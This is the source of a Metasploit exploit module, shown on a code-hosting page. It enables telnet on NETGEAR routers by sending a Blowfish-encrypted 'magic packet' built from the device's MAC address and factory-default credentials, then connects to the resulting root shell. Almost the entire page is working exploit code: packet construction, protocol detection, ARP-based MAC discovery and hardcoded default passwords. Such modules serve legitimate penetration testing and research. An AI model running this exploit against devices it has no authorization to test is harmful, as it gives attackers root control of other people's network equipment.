Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::Udp
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Capture
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'NETGEAR TelnetEnable',
19
'Description' => %q{
20
This module sends a magic packet to a NETGEAR device to enable telnetd.
21
Upon successful connect, a root shell should be presented to the user.
22
},
23
'Author' => [
24
'Paul Gebheim', # Python PoC (TCP)
25
'insanid', # Python PoC (UDP)
26
'wvu' # Metasploit module
27
],
28
'References' => [
29
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
30
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
31
['URL', 'https://github.com/insanid/netgear-telenetenable']
32
],
33
'DisclosureDate' => '2009-10-30', # Python PoC (TCP)
34
'License' => MSF_LICENSE,
35
'Platform' => 'unix',
36
'Arch' => ARCH_CMD,
37
'Privileged' => true,
38
'Payload' => {
39
'Compat' => {
40
'PayloadType' => 'cmd_interact',
41
'ConnectionType' => 'find'
42
}
43
},
44
'Targets' => [
45
[
46
'Automatic (detect TCP or UDP)',
47
proto: :auto
48
],
49
[
50
'TCP (typically older devices)',
51
proto: :tcp,
52
username: 'Gearguy',
53
password: 'Geardog'
54
],
55
[
56
'UDP (typically newer devices)',
57
proto: :udp,
58
username: 'admin',
59
password: 'password'
60
]
61
],
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options([
72
Opt::RPORT(23),
73
OptString.new('MAC', [false, 'MAC address of device']),
74
OptString.new('USERNAME', [false, 'Username on device']),
75
OptString.new('PASSWORD', [false, 'Password on device'])
76
])
77
end
78
79
def post_auth?
80
true
81
end
82
83
def default_credential?
84
true
85
end
86
87
def check
88
# Run through protocol detection
89
detect_proto
90
91
# This is a gamble, but it's the closest we can get
92
if @proto == :tcp
93
CheckCode::Detected
94
else
95
CheckCode::Unknown
96
end
97
end
98
99
def exploit
100
# Try to do the exploit unless telnetd is detected
101
@do_exploit = true
102
103
# Detect TCP or UDP and presence of telnetd
104
@proto = target[:proto]
105
detect_proto if @proto == :auto
106
107
if @do_exploit
108
# Use supplied or ARP-cached MAC address
109
configure_mac
110
# Use supplied or default creds
111
configure_creds
112
# Shell it
113
exploit_telnetenabled
114
end
115
116
# Connect to the shell
117
connect_telnetd
118
end
119
120
def detect_proto
121
begin
122
connect
123
124
res = begin
125
sock.get_once || ''
126
rescue EOFError
127
''
128
end
129
130
# telnetenabled returns no data, unlike telnetd
131
if res.length == 0
132
print_good('Detected telnetenabled on TCP')
133
else
134
print_good('Detected telnetd on TCP')
135
@do_exploit = false
136
end
137
138
@proto = :tcp
139
# It's UDP... and we may not get an ICMP error...
140
rescue Rex::ConnectionError
141
print_good('Detected telnetenabled on UDP')
142
@proto = :udp
143
ensure
144
disconnect
145
end
146
end
147
148
def configure_mac
149
@mac = datastore['MAC']
150
151
return if @mac
152
153
print_status('Attempting to discover MAC address via ARP')
154
155
begin
156
open_pcap
157
@mac = lookup_eth(rhost).first
158
rescue RuntimeError => e
159
fail_with(Failure::BadConfig, "#{e}. Are you root?")
160
ensure
161
close_pcap
162
end
163
164
if @mac
165
print_good("Found MAC address #{@mac}")
166
else
167
fail_with(Failure::Unknown, 'Could not find MAC address')
168
end
169
end
170
171
def configure_creds
172
@username = datastore['USERNAME'] || target[:username]
173
@password = datastore['PASSWORD'] || target[:password]
174
175
# Try to use default creds if no creds were found
176
unless @username && @password
177
tgt = targets.find { |t| t[:proto] == @proto }
178
@username = tgt[:username]
179
@password = tgt[:password]
180
end
181
182
print_good("Using creds #{@username}:#{@password}")
183
end
184
185
def exploit_telnetenabled
186
print_status('Generating magic packet')
187
payload = magic_packet(@mac, @username, @password)
188
189
begin
190
print_status("Connecting to telnetenabled via #{@proto.upcase}")
191
@proto == :tcp ? connect : connect_udp
192
print_status('Sending magic packet')
193
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
194
rescue Rex::ConnectionError
195
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
196
ensure
197
print_status('Disconnecting from telnetenabled')
198
@proto == :tcp ? disconnect : disconnect_udp
199
end
200
201
# Wait a couple seconds for telnetd to come up
202
print_status('Waiting for telnetd')
203
sleep(2)
204
end
205
206
def connect_telnetd
207
print_status('Connecting to telnetd')
208
connect
209
handler(sock)
210
end
211
212
# NOTE: This is almost a verbatim copy of the Python PoC
213
def magic_packet(mac, username, password)
214
mac = mac.gsub(/[:-]/, '').upcase
215
216
if mac.length != 12
217
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
218
end
219
just_mac = mac.ljust(0x10, "\x00")
220
221
if username.length > 0x10
222
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
223
end
224
just_username = username.ljust(0x10, "\x00")
225
226
if @proto == :tcp
227
if password.length > 0x10
228
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
229
end
230
just_password = password.ljust(0x10, "\x00")
231
elsif @proto == :udp
232
# Thanks to Roberto Frenna for the reserved field analysis
233
if password.length > 0x21
234
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
235
end
236
just_password = password.ljust(0x21, "\x00")
237
end
238
239
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
240
md5_key = Rex::Text.md5_raw(cleartext)
241
242
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
243
244
secret_key = 'AMBIT_TELNET_ENABLE+' + password
245
246
byte_swap(blowfish_encrypt(secret_key, payload))
247
end
248
249
def blowfish_encrypt(secret_key, payload)
250
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
251
252
cipher.padding = 0
253
cipher.key_len = secret_key.length
254
cipher.key = secret_key
255
256
cipher.update(payload) + cipher.final
257
end
258
259
def byte_swap(data)
260
data.unpack('N*').pack('V*')
261
end
262
263
end
264
265